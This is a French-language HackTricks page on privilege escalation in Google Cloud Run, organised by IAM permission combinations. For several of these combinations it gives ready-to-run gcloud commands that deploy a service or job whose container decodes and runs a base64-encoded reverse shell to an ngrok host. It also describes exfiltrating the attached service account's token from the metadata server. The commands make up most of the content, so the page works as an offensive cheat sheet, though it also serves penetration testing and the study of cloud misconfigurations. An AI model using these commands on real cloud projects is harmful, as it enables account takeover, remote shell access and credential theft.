GCP - Run Privesc

Support HackTricks

Cloud Run

Pour plus d'informations sur Cloud Run, consultez :

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Un attaquant avec ces permissions pour créer un service run exécutant du code arbitraire (conteneur Docker arbitraire), attacher un compte de service à celui-ci, et faire en sorte que le code exfiltre le jeton du compte de service depuis les métadonnées.

Un script d'exploitation pour cette méthode peut être trouvé ici et l'image Docker peut être trouvée ici.

Notez que lors de l'utilisation de gcloud run deploy au lieu de simplement créer le service, il nécessite la permission update. Consultez un exemple ici.

run.services.update , iam.serviceAccounts.actAs

Comme le précédent mais en mettant à jour un service :

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Donnez-vous des autorisations précédentes sur Cloud Run.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Lancez un job avec un shell inversé pour voler le compte de service indiqué dans la commande. Vous pouvez trouver un exploit ici.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Semblable à la précédente, il est possible de mettre à jour un job et de mettre à jour le SA, la commande et de l'exécuter :

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Donnez-vous les permissions précédentes sur Cloud Jobs.

Références

Support HackTricks

Last updated